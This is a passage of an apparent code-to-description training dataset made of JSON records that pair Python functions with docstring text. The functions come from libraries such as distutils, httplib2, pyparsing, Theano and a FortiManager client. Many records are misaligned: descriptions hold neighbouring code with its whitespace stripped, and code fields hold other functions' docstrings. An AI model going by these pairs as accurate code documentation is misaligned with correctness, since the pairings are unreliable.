No such distribution setting\" % name)if old is not None and not isinstance(old, sequence):raise DistutilsSetupError(name + \": this setting cannot be changed via include/exclude\")elif old:setattr(self, name, [item for item in old if item not in value])def _include_misc(self, name, value):Handle 'include()' for list/tuple attrs without a special handler"} {"code": "def reset(self, observation):\n\n This loss measures the discrepancy between the task outputs, the true and\n predicted ones.\n\n Args:\n true_targets: tf.Tensor of tf.float32 with the shape of\n (batch_size x sequence_length x action_size).\n targets: tf.Tensor of tf.float32 with the shape of\n (batch_size x sequence_length x action_size).\n weights: tf.Tensor of tf.bool with the shape of\n (batch_size x sequence_length).\n\n Raises:\n ValueError: if the shapes of the input tensors are not consistent.\n\n Returns:\n L2 loss between the predicted action values and true action values.\n \"\"\"", "nl": "Called after the environment is reset.passdef target_loss(self, true_targets, targets, weights=None):A loss for training a task model."} {"code": "def get_feedback(self):\n return None\n", "nl": "If overloaded, should return a FeedbackCollector object."} {"code": "def tf_efficientnet_lite4(pretrained=False, **kwargs):\n \"\"\"", "nl": " EfficientNet-Lite4. Tensorflow compatible variant kwargs['bn_eps'] = BN_EPS_TF_DEFAULTkwargs['pad_type'] = 'same'model = _gen_efficientnet_lite('tf_efficientnet_lite4', channel_multiplier=1.4, depth_multiplier=1.8, pretrained=pretrained, **kwargs)return modeldef mixnet_s(pretrained=False, **kwargs):Creates a MixNet Small model."} {"code": "def _fallback():\n raise ImportError('Unable to load system certificate authority files')\n\n", "nl": "Give up the loading process by throwing specified exception, httplib2 will then use itsbundled certificates"} {"code": "def test_delete_multiple_id(drone_doc_parsed_classes, drone_doc, session):\n property of that resource(column in the table) not given\"\"\"", "nl": "Test CRUD insert when multiple ID's are given objects = list()ids = '{},{}'.format(str(uuid.uuid4()), str(uuid.uuid4()))random_class = random.choice(drone_doc_parsed_classes)for index in range(len(ids.split(','))):object = gen_dummy_object(random_class, drone_doc)objects.append(object)insert_response = crud.insert_multiple(drone_doc, objects_=objects, session=session, id_=ids)delete_response = crud.delete_multiple(id_=ids, type_=random_class, session=session)response_code = Noneid_list = ids.split(',')try:for index in range(len(id_list)):get_response = crud.get(id_=id_list[index],type_=objects[index]['@type'],session=session,api_name='api')except Exception as e:error = e.get_HTTP()response_code = error.codeassert 404 == response_codedef test_insert_when_property_not_given(drone_doc_parsed_classes, drone_doc,session, constants):Test CRUD insert operation when a required foreign key"} {"code": "def preview_install(self, package, device, vdoms, lock):\n flags = [\"preview\"]\n if lock:\n flags.append(\"auto_lock_ws\")\n\n proposed = [{\"adom\": self.adom, \"flags\": flags, \"pkg\": package, \"scope\": [device]}]\n response = self.install_package(proposed)\n\n if response[\"result\"][0].get(\"data\", {\"state\": \"error\"}).get(\"state\") == \"done\":\n proposed = [{\"adom\": self.adom, \"device\": device, \"vdoms\": vdoms}]\n body = {\"method\": \"exec\", \"params\": [{\"url\": \"/securityconsole/install/preview\", \"data\": proposed}],\n \"id\": 2, \"session\": self.session}\n response = self.make_request(body).json()\n else:\n response.update({\"id\": 1})\n return response\n\n if response[\"result\"][0][\"status\"][\"code\"] == 0:\n task = response[\"result\"][0][\"data\"][\"task\"]\n else:\n return response\n\n task_status = self.get_task(task, 5)\n if task_status[\"result\"][0][\"data\"][\"percent\"] == 100:\n url = \"/securityconsole/package/cancel/install\"\n params = [{\"url\": url, \"data\": [{\"adom\": self.adom, \"device\": device}]}]\n body = {\"method\": \"exec\", \"params\": params, \"id\": 3, \"session\": self.session}\n response = self.make_request(body).json()\n else:\n task_status.update({\"id\": 2})\n return task_status\n\n if response[\"result\"][0][\"status\"][\"code\"] == 0:\n params = [{\"url\": \"/securityconsole/preview/result\", \"data\": [{\"adom\": self.adom, \"device\": device}]}]\n body = {\"method\": \"exec\", \"params\": params, \"id\": 4,\n \"session\": self.session}\n response = self.make_request(body).json()\n else:\n return response\n\n return response\n", "nl": "This method is used to preview what changes will be pushed to the end device when the package is installed. TheFortimanager requires the install process be started with the preview flag in order for policy updates to beincluded in the preview request. This method will handle this process, and cancel the install task after thepreview has been generated. This method also makes use of FortiManager's \"id\" field to keep track of the stages(install preview, generate preview, retrieve preview, cancel install) the method is currently executing, andreturns the ID in the response. If the module returns early, then the \"id\" field can be used to determine wherethe failure occurred.:param package: Type str.The name of the package in consideration for install.:param device: Type str.The FortiNet to preview install.:param vdoms: Type list.The list of vdoms associated with the vdom to preview install:param lock: Type boolDetermines whether the package install preview will use the auto lock field.:return: The json response data from the request to preview install the package."} {"code": "def get_row_count(self, zoom):\n if zoom == 0:\n return 1\n return 2 << (zoom - 1)\n", "nl": "Get the number of tiles in a row at this zoom level"} {"code": "def reset(self, return_state: bool = False) -> [np.ndarray, tuple]:\n Sets the microstate of the simulator to the microstate of the target State.\n I will be super grateful if someone shows me how to do this using Open Source code.\n :param state:\n :return:\n \"\"\"", "nl": "Resets the environment and returns the first observationtime_step = self._env.reset()observed = self._time_step_to_obs(time_step)self._render_i = 0if not return_state:return observedelse:return self.get_state(), observeddef set_state(self, state: np.ndarray):"} {"code": "def initialize(maze_size, batch_size):\n maze = np.ones((maze_size, maze_size))\n center = maze_size // 2\n\n maze[1:maze_size - 1, 1:maze_size - 1].fill(0)\n for row in range(1, maze_size - 1):\n for col in range(1, maze_size - 1):\n if row % 2 == 0 and col % 2 == 0:\n maze[row, col] = 1\n maze[center, center] = 0\n\n pos_right = {}\n pos_center = {}\n pos_reward_right = {}\n pos_reward_center = {}\n for nb in range(batch_size):\n myrposr = 0; myrposc = 0\n while (maze[myrposr, myrposc] == 1) or \\\n (myrposr == center and myrposc == center):\n myrposr = np.random.randint(1, maze_size - 1)\n myrposc = np.random.randint(1, maze_size - 1)\n pos_reward_right[nb] = myrposr; pos_reward_center[nb] = myrposc\n\n pos_center[nb] = center\n pos_right[nb] = center\n\n return maze, Position(pos_center, pos_right,\n pos_reward_center, pos_reward_right)\n\n", "nl": "Initialize maze.Args:maze_size (int): size of maze (H, W).batch_size (int): number of parallel mazes.Returns (2):maze (np.array): grid maze.position (Position): the agent's position."} {"code": "def CalculateBurdenElectronegativity(mol):\n temp = _GetBurdenMatrix(mol, propertylabel=\"En\")\n temp1 = numpy.sort(temp[temp >= 0])\n temp2 = numpy.sort(numpy.abs(temp[temp < 0]))\n\n if len(temp1) < 8:\n temp1 = numpy.concatenate((numpy.zeros(8), temp1))\n if len(temp2) < 8:\n temp2 = numpy.concatenate((numpy.zeros(8), temp2))\n\n bcut = [\n \"bcute16\",\n \"bcute15\",\n \"bcute14\",\n \"bcute13\",\n \"bcute12\",\n \"bcute11\",\n \"bcute10\",\n \"bcute9\",\n \"bcute8\",\n \"bcute7\",\n \"bcute6\",\n \"bcute5\",\n \"bcute4\",\n \"bcute3\",\n \"bcute2\",\n \"bcute1\",\n ]\n bcutvalue = numpy.concatenate((temp2[-8:], temp1[-8:]))\n\n bcutvalue = [round(i, 3) for i in bcutvalue]\n res = dict(zip(bcut, bcutvalue))\n return res\n\n", "nl": "#################################################################Calculate Burden descriptors based on atomic electronegativity.res-->dict type with 16 descriptors#################################################################"} {"code": "def partialRelease():\n a = TpPd(pd=0x6)\n b = MessageType(mesType=0xf)\n packet = a / b\n return packet\n\n", "nl": "PARTIAL RELEASE Section 9.1.26a = TpPd(pd=0x6)b = MessageType(mesType=0xa) # 00001010c = ChannelDescription()packet = a / b / creturn packetdef partialReleaseComplete():PARTIAL RELEASE COMPLETE Section 9.1.27"} {"code": "def test_loss(self, monkeypatch, p):\n", "nl": "Test if function correctly creates the SF program for lossy GBS.def save_hist(*args, **kwargs):call_history.append(args[1])return sf.engine.Resultcall_history = []with monkeypatch.context() as m:m.setattr(sf.engine.Result, \"samples\", np.array([[0]]))m.setattr(sf.LocalEngine, \"run\", save_hist)vibronic.sample(*p, 1, loss=0.5)assert isinstance(call_history[0].circuit[-2].op, sf.ops.LossChannel)def test_no_loss(self, monkeypatch, p):Test if function correctly creates the SF program for GBS without loss."} {"code": "def load_alias_dict(self, file_name):\n\n alias_file = open(file_name, \"r\")\n\n for line in alias_file:\n ll = line.strip().split(\"\\t\")\n if len(ll) > 2:\n ensembl_id = ll[0]\n official_name = ll[1]\n alias_vec = ll[2].split(\"&\")\n self.symbol_dict[ensembl_id] = official_name\n for e in alias_vec:\n try:\n self.alias_dict[e].append(ensembl_id)\n except Exception:\n self.alias_dict[e] = [ensembl_id]\n\n alias_file.close()\n", "nl": "Reads an alias.txt file and creates a dictionary to translate gene symbols/alternative IDs to ensembl gene ID*Keyword arguments:*- file_name -- Alias file name."} {"code": "def __len__(self):\n return len(self.models)\n", "nl": " Returns the length of the dataset."} {"code": "def _safe_get_element(self, path, root=None):\n elements = path.split('.')\n parent = root if root is not None else self.parsed_response\n for element in elements[:-1]:\n parent = getattr(parent, element, None)\n if parent is None:\n return None\n return getattr(parent, elements[-1], None)\n", "nl": "Safe Get Element.Get a child element of root (multiple levels deep) failing silentlyif any descendant does not exist.:param root:Lxml element.:param path:String path (i.e. 'Items.Item.Offers.Offer').:return:Element or None."} {"code": "def __init__(self, x_scale, y_scale, mode=\"nearest\"):\n super(Stretch2d, self).__init__()\n self.x_scale = x_scale\n self.y_scale = y_scale\n self.mode = mode\n", "nl": "Initialize Stretch2d module.Args:x_scale (int): X scaling factor (Time axis in spectrogram).y_scale (int): Y scaling factor (Frequency axis in spectrogram).mode (str): Interpolation mode."} {"code": "def pickServer(self):\n assert self.servers is not None\n assert self.orderedServers is not None\n\n if not self.servers and not self.orderedServers:\n return self.domain, self.service\n\n if not self.servers and self.orderedServers:\n self.servers = self.orderedServers\n self.orderedServers = []\n\n assert self.servers\n\n self.servers.sort(key=lambda record: (record.priority, record.weight))\n minPriority = self.servers[0].priority\n\n index = 0\n weightSum = 0\n weightIndex = []\n for x in self.servers:\n if x.priority == minPriority:\n weightSum += x.weight\n weightIndex.append((index, weightSum))\n index += 1\n\n rand = random.randint(0, weightSum)\n for index, weight in weightIndex:\n if weight >= rand:\n chosen = self.servers[index]\n del self.servers[index]\n self.orderedServers.append(chosen)\n\n return str(chosen.target), chosen.port\n\n raise RuntimeError(\n 'Impossible %s pickServer result.' % (self.__class__.__name__,))\n", "nl": "Pick the next server.This selects the next server from the list of SRV records accordingto their priority and weight values, as set out by the defaultalgorithm specified in RFC 2782.At the beginning of a round, L{servers} is populated withL{orderedServers}, and the latter is made empty. L{servers}is the list of candidates, and L{orderedServers} is the list of serversthat have already been tried.First, all records are ordered by priority and weight in ascendingorder. Then for each priority level, a running sum is calculatedover the sorted list of records for that priority. Then a random valuebetween 0 and the final sum is compared to each record in order. Thefirst record that is greater than or equal to that random value ischosen and removed from the list of candidates for this round.@return: A tuple of target hostname and port from the chosen DNS SRVrecord.@rtype: L{tuple} of native L{str} and L{int}"} {"code": "def parseFile( self, file_or_filename, parseAll=False ):\n try:\n file_contents = file_or_filename.read()\n except AttributeError:\n with open(file_or_filename, \"r\") as f:\n file_contents = f.read()\n try:\n return self.parseString(file_contents, parseAll)\n except ParseBaseException as exc:\n if ParserElement.verbose_stacktrace:\n raise\n else:\n raise exc\n", "nl": "Execute the parse expression on the given file or filename.If a filename is specified (instead of a file object),the entire file is opened, read, and closed before parsing."} {"code": "def __call__(self, *args, **kwargs):\n return super().__call__(*args, **kwargs).tolist()\n\n\n@add_end_docstrings(PIPELINE_INIT_ARGS)\nclass TextGenerationPipeline(Pipeline):\n \"\"\"\n\n\n PADDING_TEXT = \"\"\"In 1991, the remains of Russian Tsar Nicholas II and his family\n\n ALLOWED_MODELS = [\n \"XLNetLMHeadModel\",\n \"TransfoXLLMHeadModel\",\n \"ReformerModelWithLMHead\",\n \"GPT2LMHeadModel\",\n \"OpenAIGPTLMHeadModel\",\n \"CTRLLMHeadModel\",\n \"TFXLNetLMHeadModel\",\n \"TFTransfoXLLMHeadModel\",\n \"TFGPT2LMHeadModel\",\n \"TFOpenAIGPTLMHeadModel\",\n \"TFCTRLLMHeadModel\",\n ]\n", "nl": "Extract the features of the input(s).Args:args (:obj:`str` or :obj:`List[str]`): One or several texts (or one list of texts) to get the features of.Return:A nested list of :obj:`float`: The features computed by the model."} {"code": "def _resolve_name(name, package, level):\n meta_path = sys.meta_path\n if meta_path is None:\n raise ImportError(\"sys.meta_path is None, Python is likely \"\n \"shutting down\")\n\n if not meta_path:\n _warnings.warn('sys.meta_path is empty', ImportWarning)\n\n is_reload = name in sys.modules\n for finder in meta_path:\n with _ImportLockContext():\n try:\n find_spec = finder.find_spec\n except AttributeError:\n spec = _find_spec_legacy(finder, name, path)\n if spec is None:\n continue\n else:\n spec = find_spec(name, path, target)\n if spec is not None:\n if not is_reload and name in sys.modules:\n module = sys.modules[name]\n try:\n __spec__ = module.__spec__\n except AttributeError:\n return spec\n else:\n if __spec__ is None:\n return spec\n else:\n return __spec__\n else:\n return spec\n else:\n return None\n\n", "nl": "Resolve a relative module name to an absolute one.bits = package.rsplit('.', level - 1)if len(bits) < level:raise ValueError('attempted relative import beyond top-level package')base = bits[0]return '{}.{}'.format(base, name) if name else basedef _find_spec_legacy(finder, name, path):# This would be a good place for a DeprecationWarning if# we ended up going that route.loader = finder.find_module(name, path)if loader is None:return Nonereturn spec_from_loader(name, loader)def _find_spec(name, path, target=None):Find a module's spec."} {"code": "def __init__(self, state_shape):\n self.obs_shape = (state_shape[0]+1, state_shape[1])\n self.aux_row = self.obs_shape[0]-1\n self.tensor = np.zeros(self.obs_shape, dtype=np.float32)\n\n @staticmethod", "nl": "Parameters----------state_shape : (int, int)2D shape of the state (i.e. num_hosts, host_vector_size)"} {"code": "def real(z):\n_tensor_py_operators.imag = property(imag)\n\n\n@_scal_elemwise", "nl": "Return real component of complex-valued tensor `z`_tensor_py_operators.real = property(real)@_scal_elemwisedef imag(z):Return imaginary component of complex-valued tensor `z`"} {"code": "def loads(data, use_datetime=0):\n p, u = getparser(use_datetime=use_datetime)\n p.feed(data)\n p.close()\n return u.close(), u.getmethodname()\n\n\n\nclass _Method:", "nl": "data -> unmarshalled data, method nameConvert an XML-RPC packet to unmarshalled data plus a methodname (None if not present).If the XML-RPC packet represents a fault condition, this functionraises a Fault exception."} {"code": "def Peek(self):\n self.checkpoint = (self.stream.tell(),\n (self.line, self.col, self.last_col, self.last_getc))\n", "nl": "Return the value of the next input character, but do not fetch it.c = self.GetChar()self.UnGetChar()return cdef Checkpoint(self):Record state including the current position of the input stream."} {"code": "def _map_source(source):\n or base path or AWS Cognito identity ID\n\n username: user's subdirectory in settings.REFINERY_DATA_IMPORT_DIR\n base_path: absolute path to prepend to source if source is relative\n identity_id: AWS Cognito identity ID of the current user\n \"\"\"", "nl": "Convert URLs to file system paths by applying file source mapfor pattern, replacement in \\settings.REFINERY_FILE_SOURCE_MAP.items():translated_source = re.sub(pattern, replacement, source)if translated_source != source:return translated_sourcereturn sourcedef generate_file_source_translator(username=None, base_path=None,identity_id=None):Generate a relative source path translator function based on username"} {"code": "def testIdentity(self):\n after = 5\n tree = owyl.identity(owyl.succeedAfter(after=after))\n\n v = owyl.visit(tree)\n for x in xrange(after):\n self.assertEqual(v.next(), None)\n self.assertEqual(v.next(), True)\n\n v = owyl.visit(tree)\n for x in xrange(after):\n self.assertEqual(v.next(), None)\n self.assertEqual(v.next(), True)\n\n tree = owyl.identity(owyl.failAfter(after=after))\n\n v = owyl.visit(tree)\n for x in xrange(after):\n self.assertEqual(v.next(), None)\n self.assertEqual(v.next(), False)\n\n v = owyl.visit(tree)\n for x in xrange(after):\n self.assertEqual(v.next(), None)\n self.assertEqual(v.next(), False)\n", "nl": "Does identity pass on return values unchanged?"} {"code": "def data_received(self, chunk):\n", "nl": "Passthrough of abstract method data_received."} {"code": "def sample_truncated_gamma(mean, shape, low=None, high=None):\n\n scale = float(mean) / shape\n while True:\n sample = np.random.gamma(scale=scale, shape=shape, size=1)\n if low is not None and sample < low:\n continue\n if high is not None and sample > high:\n continue\n return float(sample)", "nl": "A naive rejection approach to sample from truncated gamma distribution.Note that truncation points ae included in the sample.:param mean: Mean of the distribution.:param shape: Shape parameter.:param low: Lower truncation point.:param high: Upper truncation point.:returns: Random sample from the specified distribution.:rtype: float"} {"code": "def from_dict(cls, content):\n return cls(**content)\n", "nl": "Create an instance from a dict.An alternative constructor. Equivalent to ``DidlResource(**content)``.Args:content (dict): a dict containing metadata information. Required.Valid keys are the same as the parameters for`DidlResource`."} {"code": "def _traverse(node):\n Computes the L operation on `f` wrt to `wrt` evaluated at points given\n in `eval_points`. Mathematically this stands for the jacobian of `f` wrt\n to `wrt` left muliplied by the eval points.\n\n :type f: Variable or list of Variables\n `f` stands for the output of the computational graph to which you\n want to apply the L operator\n :type wrt: Variable or list of `Variables`s\n variables for which you compute the L operator of the expression\n described by `f`\n :type eval_points: Variable or list of Variables\n evalutation points for each of the variables in `f`\n\n :rtype: Variable or list/tuple of Variables depending on type of f\n :return: symbolic expression such that\n L_op[i] = sum_i ( d f[i] / d wrt[j]) eval_point[i]\n where the indices in that expression are magic multidimensional\n indices that specify both the position within a list and all\n coordinates of the tensor element in the last\n If `f` is a list/tuple, then return a list/tuple with the results.\n \"\"\"", "nl": " TODO: writeme if node is None:returnop = node.opinputs = node.inputs# Compute the evaluation points corresponding to each of the# inputs of the nodelocal_eval_points = []for inp in inputs:if inp in wrt:local_eval_points.append(eval_points[wrt.index(inp)])elif inp.owner is None:try:local_eval_points.append(inp.zeros_like())except:# None should be used for non-differentiable# arguments, like for example random stateslocal_eval_points.append(None)elif inp.owner in seen_nodes:local_eval_points.append(seen_nodes[inp.owner][inp.owner.outputs.index(inp)])else:# We actually need to compute the R_op for this node_traverse(inp.owner)local_eval_points.append(seen_nodes[inp.owner][inp.owner.outputs.index(inp)])same_type_eval_points = []for x, y in zip(inputs, local_eval_points):if y is not None:if not isinstance(x, gof.Variable):x = as_tensor_variable(x)if not isinstance(y, gof.Variable):y = as_tensor_variable(y)try:y = x.type.filter_variable(y)except TypeError:# This is a hack# Originally both grad and Rop were written# with the assumption that a variable and the# gradient wrt that variable would have the same# dtype. This was a bad assumption because the# gradient wrt an integer can take on non-integer# values.# grad is now fixed, but Rop is not, so when grad# does the right thing and violates this assumption# we have to make it be wrong for Rop to keep working# Rop should eventually be upgraded to handle integers# correctly, the same as grady = theano.tensor.cast(y, x.type.dtype)y = x.type.filter_variable(y)assert x.type == y.typesame_type_eval_points.append(y)else:same_type_eval_points.append(y)seen_nodes[node] = op.R_op(node.inputs, same_type_eval_points)# end _traverse# Populate the dictionaryfor out in f:_traverse(out.owner)rval = []for out in f:if out in wrt:rval.append(eval_points[wrt.index(out)])elif seen_nodes[out.owner][out.owner.outputs.index(out)] is None:raise ValueError(('The function is not differentiable with ''respect to the provided inputs !'))else:rval.append(seen_nodes[out.owner][out.owner.outputs.index(out)])return format_as(using_list, using_tuple, rval)def Lop(f, wrt, eval_points, consider_constant=None,disconnected_inputs='raise'):"} {"code": "def _prune_metadata(self, metadata):\n del metadata[\"PixelData\"]\n return metadata\n", "nl": "Prunes the metadata to avoid keeping large fields.We delete the PixelData field, because that data is a duplicateof the image."} {"code": "def generate_fingerprint(split_name: str, file_pattern: str) -> str:\n if not fileio.exists(file_name):\n msg = '{} does not exist'.format(file_name)\n raise FileNotFoundError(msg)\n return fileio.open(file_name).read()\n\n", "nl": "Generates a fingerprint for all files that match the pattern.files = fileio.glob(file_pattern)total_bytes = 0# Checksum used here is based on timestamp (mtime).# Checksums are xor'ed and sum'ed over the files so that they are order-# independent.xor_checksum = 0sum_checksum = 0for f in files:stat = fileio.stat(f)total_bytes += stat.length# Take mtime only up to second-granularity.mtime = int(stat.mtime_nsec / NANO_PER_SEC)xor_checksum ^= mtimesum_checksum += mtimereturn 'split:%s,num_files:%d,total_bytes:%d,xor_checksum:%d,sum_checksum:%d' % (split_name, len(files), total_bytes, xor_checksum, sum_checksum)def read_string_file(file_name: str) -> str:Reads a string from a file."} {"code": "def xpath(self,id):\n\n resp = self.shortcmd(\"XPATH \" + id)\n if resp[:3] != '223':\n raise NNTPReplyError(resp)\n try:\n [resp_num, path] = resp.split()\n except ValueError:\n raise NNTPReplyError(resp)\n else:\n return resp, path\n", "nl": "Process an XPATH command (optional server extension) Arguments:- id: Message id of articleReturns:resp: server response if successfulpath: directory path to article"} {"code": "def setUp(self):\n corpus = fuzz_task.GcsCorpus('parent', 'child', '/dir', '/dir1')\n\n self.mock.rsync_to_disk.side_effect = self._write_corpus_files\n self.assertTrue(corpus.sync_from_gcs())\n self.assertTrue(os.path.exists('/dir1/.child_sync'))\n self.assertEqual(('/dir',), self.mock.rsync_to_disk.call_args[0][1:])\n self.fs.create_file('/dir/c')\n self.assertListEqual(['/dir/c'], corpus.get_new_files())\n\n corpus.upload_files(corpus.get_new_files())\n self.assertEqual((['/dir/c'],), self.mock.upload_files.call_args[0][1:])\n\n self.assertListEqual([], corpus.get_new_files())\n", "nl": "Setup for test corpus sync.helpers.patch(self, ['clusterfuzz._internal.fuzzing.corpus_manager.FuzzTargetCorpus.rsync_to_disk','clusterfuzz._internal.fuzzing.corpus_manager.FuzzTargetCorpus.upload_files','clusterfuzz._internal.google_cloud_utils.storage.last_updated',])helpers.patch_environ(self)os.environ['FAIL_RETRIES'] = '1'os.environ['CORPUS_BUCKET'] = 'bucket'self.mock.rsync_to_disk.return_value = Truetest_utils.set_up_pyfakefs(self)self.fs.create_dir('/dir')self.fs.create_dir('/dir1')def _write_corpus_files(self, *args, **kwargs): # pylint: disable=unused-argumentself.fs.create_file('/dir/a')self.fs.create_file('/dir/b')return Truedef test_sync(self):Test corpus sync."} {"code": "def room2samples(data, label, inslabel, sample_num_point):\n N = data.shape[0]\n order = np.arange(N)\n np.random.shuffle(order)\n data = data[order, :]\n label = label[order]\n\n batch_num = int(np.ceil(N / float(sample_num_point)))\n sample_datas = np.zeros((batch_num, sample_num_point, 6))\n sample_labels = np.zeros((batch_num, sample_num_point))\n sample_inslabels = np.zeros((batch_num, sample_num_point))\n\n for i in range(batch_num):\n beg_idx = i * sample_num_point\n end_idx = min((i + 1) * sample_num_point, N)\n num = end_idx - beg_idx\n sample_datas[i, 0:num, :] = data[beg_idx:end_idx, :]\n sample_labels[i, 0:num] = label[beg_idx:end_idx]\n sample_inslabels[i, 0:num] = inslabel[beg_idx:end_idx]\n if num < sample_num_point:\n makeup_indices = np.random.choice(N, sample_num_point - num)\n sample_datas[i, num:, :] = data[makeup_indices, :]\n sample_labels[i, num:] = label[makeup_indices]\n sample_inslabels[i, num:] = inslabel[makeup_indices]\n\n return sample_datas, sample_labels, sample_inslabels\n\n", "nl": " Prepare whole room samples.Args:data: N x 6 numpy array, 012 are XYZ in meters, 345 are RGB in [0,1]assumes the data is shifted (min point is origin) andaligned (aligned with XYZ axis)label: N size uint8 numpy array from 0-12sample_num_point: int, how many points to sample in each sampleReturns:sample_datas: K x sample_num_point x 9numpy array of XYZRGBX'Y'Z', RGB is in [0,1]sample_labels: K x sample_num_point x 1 np array of uint8 labels"} {"code": "def creation_time(self, creation_time):\n if creation_time is None:\n raise ValueError(\"Invalid value for `creation_time`, must not be `None`\")\n\n self._creation_time = creation_time\n\n @property", "nl": "Sets the creation_time of this DescribeClusterResponseContent.Timestamp representing the cluster creation time:param creation_time: The creation_time of this DescribeClusterResponseContent.:type creation_time: datetime"} {"code": "def lookup_name(cls, author_name):\n if author_name == None:\n return\n n, _ = cls.get_or_create(author_name[0], author_name[1])\n return n\n\n @classmethod", "nl": "Lookup a name (pair of (first,last)) in the model.If there is already such a name in the database, returns it,otherwise creates one properly.In addition to `get_or_create`, this looks for relevant researcherswhose name might match this one."} {"code": "def parse_torrent_ids(args):\n ids = []\n\n if args is None:\n pass\n elif isinstance(args, string_types):\n for item in re.split('[ ,]+', args):\n if len(item) == 0:\n continue\n addition = None\n torrent_id = parse_torrent_id(item)\n if torrent_id is not None:\n addition = [torrent_id]\n if not addition:\n match = re.match('^(\\d+):(\\d+)$', item)\n if match:\n try:\n idx_from = int(match.group(1))\n idx_to = int(match.group(2))\n addition = list(range(idx_from, idx_to + 1))\n except ValueError:\n pass\n if not addition:\n raise ValueError('Invalid torrent id, \\\"%s\\\"' % item)\n ids.extend(addition)\n elif isinstance(args, (list, tuple)):\n for item in args:\n ids.extend(parse_torrent_ids(item))\n else:\n torrent_id = parse_torrent_id(args)\n if torrent_id == None:\n raise ValueError('Invalid torrent id')\n else:\n ids = [torrent_id]\n return ids\n\n\"\"\"", "nl": "Take things and make them valid torrent identifiers"} {"code": "def server_bind(self):\n\n Due to the reversed connection, self.server_address is actually the\n address of the Idle Client to which we are connecting.\n\n \"\"\"", "nl": "Override TCPServer method, no bind() phase for connecting entitypassdef server_activate(self):Override TCPServer method, connect() instead of listen()"} {"code": "def request(self, method, request_uri, headers, content, cnonce=None):\n\n __author__ = \"Thomas Broyer (t.broyer@ltgt.net)\"\n", "nl": "Modify the request headersH = lambda x: _md5(x.encode(\"utf-8\")).hexdigest()KD = lambda s, d: H(\"%s:%s\" % (s, d))A2 = \"\".join([method, \":\", request_uri])self.challenge[\"cnonce\"] = cnonce or _cnonce()request_digest = '\"%s\"' % KD(H(self.A1),\"%s:%s:%s:%s:%s\"% (self.challenge[\"nonce\"],\"%08x\" % self.challenge[\"nc\"],self.challenge[\"cnonce\"],self.challenge[\"qop\"],H(A2),),)headers[\"authorization\"] = ('Digest username=\"%s\", realm=\"%s\", nonce=\"%s\", ''uri=\"%s\", algorithm=%s, response=%s, qop=%s, ''nc=%08x, cnonce=\"%s\"') % (self.credentials[0],self.challenge[\"realm\"],self.challenge[\"nonce\"],request_uri,self.challenge[\"algorithm\"],request_digest,self.challenge[\"qop\"],self.challenge[\"nc\"],self.challenge[\"cnonce\"],)if self.challenge.get(\"opaque\"):headers[\"authorization\"] += ', opaque=\"%s\"' % self.challenge[\"opaque\"]self.challenge[\"nc\"] += 1def response(self, response, content):if \"authentication-info\" not in response:challenge = _parse_www_authenticate(response, \"www-authenticate\").get(\"digest\", {})if \"true\" == challenge.get(\"stale\"):self.challenge[\"nonce\"] = challenge[\"nonce\"]self.challenge[\"nc\"] = 1return Trueelse:updated_challenge = _parse_www_authenticate(response, \"authentication-info\").get(\"digest\", {})if \"nextnonce\" in updated_challenge:self.challenge[\"nonce\"] = updated_challenge[\"nextnonce\"]self.challenge[\"nc\"] = 1return Falseclass HmacDigestAuthentication(Authentication):Adapted from Robert Sayre's code and DigestAuthentication above."} {"code": "def test_read_with_gse2_option(self):\n file = os.path.join(self.path, 'data', 'BW.BGLD.__.EHE.D.2008.001'\n '.second_record')\n tr = read(file, verify_chksum=True, starttime=None)[0]\n data = np.array([-397, -387, -368, -381, -388])\n np.testing.assert_array_equal(tr.data[0:5], data)\n self.assertEqual(412, len(tr.data))\n data = np.array([-406, -417, -403, -423, -413])\n np.testing.assert_array_equal(tr.data[-5:], data)\n", "nl": "Test that reading will still work if wrong option (of gse2)verify_chksum is given. This is important if the read method iscalled for an unknown file format."} {"code": "def select_question_types(context_text, answer_start, answer_end, answertag2qtype_set):\n answer_text = context_text[answer_start:answer_end + 1]\n chunk_tag = get_answer_chunk_tag(context_text, answer_start, answer_end)\n ner_tag = get_answer_ner_tag(context_text, answer_text)\n answertag = \"-\".join([chunk_tag, ner_tag])\n if answertag in answertag2qtype_set:\n return answertag2qtype_set[answertag]\n else:\n return []\n\n\nif __name__ == \"__main__\":\n pass", "nl": "Given context and answer, we can get the valid question types.Return a set of valid question types."} {"code": "def fakeCallbackCanceller(deferred):", "nl": "A fake L{defer.Deferred} canceller which callbacks the L{defer.Deferred}with C{str} \"Callback Result\" when cancelling it.@param deferred: The cancelled L{defer.Deferred}."} {"code": "def _do_retreat(st_remaining, character, _, args):\n This is just a placeholder.\"\"\"", "nl": "Implements the 'retreat' combat command.ch = character.ndb.combat_handlerend_range = 'reach' if any(arg.startswith('r') for arg in args) \\else 'ranged'start_range = ch.get_min_range(character)if start_range == end_range:ch.combat_msg(\"{actor} has already retreated to |G{range}|n range.\",actor=character,range=end_range)return 0.2 * COMBAT_DELAYelif start_range == 'melee':ok = skill_check(character.skills.balance.actual, 4)else:ok = Trueif ok:ch.move_character(character, end_range)ch.combat_msg(\"{actor} retreats to |G{range}|n distance.\",actor=character,range=end_range)else:ch.combat_msg(\"{actor} attempts to retreat but stumbles and is unable.\",actor=character)return 1 * COMBAT_DELAYdef _do_dodge(*args):Dodging is handled in attack actions."} {"code": "def _parseSelector(self, src):\n src, selector = self._parseSimpleSelector(src)\n srcLen = len(src)\n while src[:1] not in ('', ',', ';', '{', '}', '[', ']', '(', ')'):\n for combiner in self.SelectorCombiners:\n if src.startswith(combiner):\n src = src[len(combiner):].lstrip()\n break\n else:\n combiner = ' '\n src, selectorB = self._parseSimpleSelector(src)\n\n if len(src) >= srcLen:\n src = src[1:]\n while src and (src[:1] not in ('', ',', ';', '{', '}', '[', ']', '(', ')')):\n src = src[1:]\n return src.lstrip(), None\n\n selector = self.cssBuilder.combineSelectors(selector, combiner, selectorB)\n\n return src.lstrip(), selector\n\n", "nl": "selector: simple_selector [ combinator simple_selector ]*;"} {"code": "def parse(self, glob):\n if Globstar() in components:\n return False\n for c in components:\n if len(c) != 1:\n return False\n if not is_fixed_sequence(c[0]):\n return False\n return True", "nl": "Parse a graphite glob expression into simple components.self._reset(glob)i = 0n = len(self._glob)while i < n:c = self._glob[i]i += 1if c == \"?\":self._parse_char_wildcard()elif c == \"*\":i = self._parse_wildcard(i, n)elif c == \"[\":i = self._parse_char_selector(i, n)elif c == \"{\":i = self._parse_sequence_selector(i, n)elif c == \".\":self._commit_component()else:self._sequence += cself._commit_component()return self._parsed@staticmethoddef is_fully_defined(components):Return True if the components represent a fully-defined metric name."} {"code": "def lookup_group_plugin(group_type: Optional[str]=None) -> 'plugins.IGroupForm':", "nl": "Returns the form plugin associated with the given group type.If 